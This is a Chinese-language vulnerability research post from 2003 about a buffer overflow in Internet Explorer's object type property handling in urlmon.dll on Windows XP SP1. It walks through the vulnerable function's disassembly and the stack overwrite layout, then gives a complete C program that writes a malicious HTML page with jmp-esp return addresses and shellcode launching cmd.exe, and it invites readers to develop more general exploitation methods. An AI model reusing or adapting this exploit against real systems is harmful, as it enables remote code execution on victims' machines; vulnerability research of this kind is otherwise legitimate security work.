Internet Explorer Object Type Property Overflow 的研究心得创建时间:2003-06-08 文章属性:原创 文章提交:Nanika (minjack.tw_at_yahoo.com.tw) Internet Explorer Object Type Property Overflow 的研究心得 Nanika@seed.net.tw or minjack.tw@yahoo.com.tw 测试系统WindowsXP_SP1繁体中文专业版 Iexplorer 6.00.2800.1106 (xpsp1.020828-1920) Urlmon.dll 6.00.2800.1170 Msvcrt.dll 7.0.2600.1106 (xpsp1.020828-1920) Shlwapi.dll 6.00.2800.1106 (xpsp1.020828-1920) 我提供一些我所研究的技术细节,给各位参考一下,让大家来讨论研究,写出更通用的利用方法 简单的Exploit: 建构如下的数据储存成网页文件 <object type="////////////////////////////////////////////////////////////////BBBBAAAADDDD">CCCC</object> 使用IE开启所建构的网页 会 ret 44444444 可以改变程序流程 看起来很像传统的堆栈溢出 但是有一点类似FSO [64*/][BBBB][AAAA][DDDD][任意的地址(EDI)] AAAA为EBP值 DDDD为EIP值 但是其后的数据不是ESP值 是EDI值 精心建构object type的一段资料 可以把这一段数据写到 任意的地址 但是[任意的地址]中无法有00,若是有00则会往下取一各位的数据到任意的地址中,使得任意的地址的值,有一定的范围,不能随意的控制 而且定位方面也蛮困难的[任意的地址]之后只能在增加40bytes的数据来放shellcode 这是指RET使用jmp esp而言 若是参考 eEye Digital Security的说法使用jmp edx or call edx 则定位方面shellcode到程序中有一些问题 再分析详细一点 缓冲区溢出的关键函数 urlmon.dll中的 .text:1A441CF6 sub_1A441CF6 proc near ; CODE XREF: .text:1A42590Ep .text:1A441CF6 .text:1A441CF6 var_104 = byte ptr -104h .text:1A441CF6 arg_0 = dword ptr 8 .text:1A441CF6 arg_4 = dword ptr 0Ch .text:1A441CF6 arg_8 = dword ptr 10h .text:1A441CF6 .text:1A441CF6 push ebp .text:1A441CF7 mov ebp, esp .text:1A441CF9 sub esp, 104h .text:1A441CFF mov ecx, [ebp+arg_8] .text:1A441D02 push esi .text:1A441D03 mov esi, ecx .text:1A441D05 mov cl, [ecx] .text:1A441D07 test cl, cl .text:1A441D09 lea eax, [ebp+var_104] .text:1A441D0F mov [ebp+var_104], cl .text:1A441D15 jz short loc_1A441D35 .text:1A441D17 .text:1A441D17 loc_1A441D17: ; CODE XREF: sub_1A441CF6+3Dj .text:1A441D17 cmp cl, 2Fh .text:1A441D1A jnz short loc_1A441D2B .text:1A441D1C mov byte ptr [eax], 5Fh;把/(2f)展开成_2F_ .text:1A441D1F inc eax .text:1A441D20 mov byte ptr [eax], 32h .text:1A441D23 inc eax .text:1A441D24 mov byte ptr [eax], 46h .text:1A441D27 inc eax .text:1A441D28 mov byte ptr [eax], 5Fh .text:1A441D2B .text:1A441D2B loc_1A441D2B: ; CODE XREF: sub_1A441CF6+24j .text:1A441D2B inc esi .text:1A441D2C mov cl, [esi] .text:1A441D2E inc eax .text:1A441D2F test cl, cl .text:1A441D31 mov [eax], cl ;copy字符串时产生了缓冲区溢位 .text:1A441D33 jnz short loc_1A441D17 .text:1A441D35 .text:1A441D35 loc_1A441D35: ; CODE XREF: sub_1A441CF6+1Fj .text:1A441D35 lea eax, [ebp+var_104] .text:1A441D3B push eax .text:1A441D3C mov eax, [ebp+arg_4] .text:1A441D3F push offset dword_1A441D5C .text:1A441D44 dec eax .text:1A441D45 push eax .text:1A441D46 push [ebp+arg_0] .text:1A441D49 call ds:wnsprintfA;因为这里的原因,使得其后的覆写不是ESP值,若是要绕过此区,必须填入一个不含00且可写入的位置 .text:1A441D4F add esp, 10h .text:1A441D52 xor eax, eax .text:1A441D54 pop esi .text:1A441D55 leave .text:1A441D56 retn 0Ch;返回到DDDD的位置 .text:1A441D56 sub_1A441CF6 endp 若是要使用jmp esp的方法利用此漏洞,建构此类字符串,即可 <object type="[/*64][BBBB][AAAA][jmpesp][0x30800101][A*8][shellcode40bytes]">CCCC</object> AAAA为覆盖的EBP值,要符合宽字符编码 jmpesp为覆盖的EIP值可以放入Ntdll 中jmp esp的地址77fb59cc,要符合宽字符编码 0x30800101为一个可以写入不包含00的位置,用来绕过call ds:wnsprintfA,要符合宽字符编码 A*8此处运用不到,可以随意的填入,要符合宽字符编码 shellcode必须要注意的是,要符合宽字符编码,各系统不一定相同,且只有40bytes 必须要尽量的优化程序 与eyas讨论过利用方法,提出了 也可以利用此shellcode的地址放入一个"寻找"真正的恶意程序的realshellcode,然后把恶意程序的realshellcode放在<realshellcode><object type="[/*64][BBBB][AAAA][jmpesp][0x30800101][A*8][shellcode40bytes]">CCCC</object>,或是其它的地方,只要可以在内存中找到,就可以了 我使用了简单的方法,写了一个符合繁体中文版的shellcode,使用jmp esp,转跳到shellcode Exploit: #include <direct.h> #include <stdio.h> #include <windows.h> #include <sys/stat.h> #include <winnls.h> #include <lm.h> unsigned char shellcode[27] = "\x68\x63\x6d\x64\x20"//push cmd "\x8b\xc4"//mov eax,esp "\x50"//push eax "\xB8\x44\x80\xbf\x77"//mov eax,system_fun_addr "\xff\xd0"//call eax "\x41\x41"//inc ecx = nop "\xb8\xfd\x98\xe5\x77"//mov eax,ExitProcess_fun_addr "\xff\xd0"//call eax "\x41\x41";//inc ecx =nop unsigned char eipaddr[5]= "\xcc\x59\xfb\x77"; //jmp esp ntdll.dll addr 77fb59cc pass widechar unsigned char pad[5]= "\x30\x80\x10\x01"; unsigned char buf[65]=""; int j=0; int i=0; void main() { unsigned char temp; unsigned char change; char path[256]; FILE *bof; struct stat st; printf("\n\tBuffer overflow in Internet Explorer Object Type Property Overflow\n\tBig5 Unicode Exploit by Nanika\n\ttest WindowsXP_SP1 Big5 ver\n\tEmail:minjack.tw@yahoo.com.tw or Nanika@seed.net.tw\n"); strcpy(path,"\\explorer_exp_Nanika"); mkdir(path); SetFileAttributes(path,FILE_ATTRIBUTE_READONLY); strcat(path,"\\Exploit_IE_overflow.htm"); if (stat(path,&st)==0) { remove(path); exit(1);}//just execute this program twice to remote this file :P bof=fopen(path,"w"); fputs("<object type=\"",bof); for(i=0;i<sizeof(buf);) { buf[i++]=0x2f; } buf[sizeof(buf)-1]=0; fprintf( bof, "%s", buf);//buff fputs("AAAA",bof);//pad fputs("AAAA",bof);//ebp fprintf( bof, "%s", eipaddr); //ret -->jmp esp[ntdll] fprintf( bof, "%s", pad); //edi fputs("AAAAAAAA",bof);//pad fprintf( bof, "%s", shellcode); //shellcode fputs("\">CCCC</object>",bof); fclose(bof); printf("\nExploit file: %s Created.\nif success open Exploit_IE_overflow.htm exec cmd.exe \ntry exe again will kill Exploit file\n",path); } 利用方法除了上述的两种方法之外,也可以考虑,利用call ds:wnsprintfA这里,因为这里可以写入一段数据到任何的地址,但是必须准确的定位可写入的位址,且需要符合宽字符编码 接下来其它的漏洞利用方法可能需要各位高手的研究了 希望各位看了这篇文章有些许的收获 谢谢各位的拨空阅读thanks |